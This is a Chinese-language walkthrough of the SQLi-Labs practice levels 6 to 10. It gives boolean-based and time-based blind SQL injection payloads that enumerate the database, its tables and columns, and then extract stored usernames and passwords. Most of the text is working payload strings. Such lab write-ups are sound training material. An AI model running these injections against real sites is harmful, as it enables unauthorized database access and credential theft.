《SQLi-Labs》02. Less 6~10
阅读原文时间:2023年08月29日阅读:1

@

目录


sqli。开启新坑。

索引

  • Less-6:布尔盲注,字符型【"】。
  • Less-7:布尔盲注,字符型【'))】。
  • Less-8:布尔盲注,字符型【'】。
  • Less-9:时间盲注,字符型【'】。
  • Less-10:时间盲注,字符型【"】。

Less-6

与 Less-5 基本相同。这里只简略写大致步骤。

根据页面报错信息可以猜测 id 参数是双引号。

只需将 Less-5 的单引号换成双引号即可。

判断当前数据库长度:

url + ?id=1" and length((select database()))>=8 --+

字符串截取并通过 ASCII 码比较来得出数据库名:

url + ?id=1" and ascii(substr((select database()), 1, 1))=115 --+

爆表

判断所有表名字符长度:

url + ?id=1" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28 --+

ASCII 码比较得到表名:

url + ?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1))>=109--+

爆字段

判断字符长:

url + ?id=1" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>=20 --+

判断字段名:

url + ?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=105 --+

得到 username 和 password 字段

获取敏感数据

判断内容长度。

url + ?id=1" and length((select group_concat(username,password) from users))>=188 --+

然后依次判断每一个字符即可。最终结果与前 4 个题相同。

url + ?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))>=68 --+

布尔盲注。

  • length() 函数:返回字符串所占的字节数。
  • ascii() 函数:返回字符串最左字符的ASCII值。如果是空字符串,返回0。如果是NULL,返回NULL。
  • substr() 函数:字符串截取函数。

Less-7

与 Less-5、Less-6 相同,也是布尔盲注。

这题较上题有一点区别。

这一题只会显示报错,但没有报错信息。那就逐个判断一下。

传递 id=1' 时,显示错误;当传递 id=1" 时,显示正常,所以可以断定参数 id 为单引号字符串,因为单引号破坏了他原有语法结构。

然后传递 id=1' --+ 时报错,传递 id=1') --+ 发现依然报错。

那就试试双括号 id=1'))--+ ,发现页面显示正常。

于是用布尔盲注即可。Less-5 中已详细说明,Less-6 中给出了各个步骤,这里就不多说了。

Less-8

Less-8 与 Less-5 一样。只不过 Less-5 没有报错信息,但有对错回显。

id参数是一个单引号字符串。使用布尔盲注,和 Less-5 无异。

Less-9

通过 if (a, sleep(3), 1) ,如果 a 结果是真的,那么执行 sleep(3) ,页面延迟 3 秒;如果 a 的结果是假,执行1,页面不延迟。

思路与 Less-5 相同。这里只简单叙述。

判断参数构造。通过页面时间来判断出id参数是单引号字符串。

url + ?id=1' and if(1=1, sleep(3), 1) --+

判断当前数据库名长度

url + ?id=1' and if(length((select database()))>8, sleep(3), 1) --+

逐一判断数据库字符

url + ?id=1' and if(ascii(substr((select database()),1,1))=115, sleep(3), 1) --+

爆表

判断所有表名长度。

url + ?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13, sleep(3), 1) --+

逐一判断表名。

url + ?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99, sleep(3), 1) --+

爆字段

判断所有字段名的长度。

url + ?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20, sleep(3), 1) --+

逐一判断字段名。得到 username 和 password 字段。

url + ?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99, sleep(3), 1) --+

获取敏感数据

判断内容长度。

url + ?id=1' and if(length((select group_concat(username,password) from users))>109, sleep(3), 1) --+

逐一检测内容即可。

url + ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50, sleep(3), 1) --+

时间盲注。涉及到以下 MySQL 函数:

  • if (expr1, expr2, expr3)

    如果 expr1 是TRUE,则返回值为 expr2;否则返回值为 expr3。

  • sleep(N)

    让此语句运行N秒钟。

当无论输入什么,页面返回的结果都一样时,就无法使用布尔盲注。这时需要使用时间盲注。

时间盲注和布尔盲注的判断理解起来其实差不多。理解 Less-5 的布尔盲注后,这题也就好理解了。

只不过是布尔盲注通过页面回显判断真伪,时间盲注通过页面相应速度判断真伪。

Less-10

id参数是双引号字符串。

和 Less-9 一样,只需要将单引号换成双引号即可。


十有九人堪白眼,百无一用是书生。

——《杂感》(清)黄景仁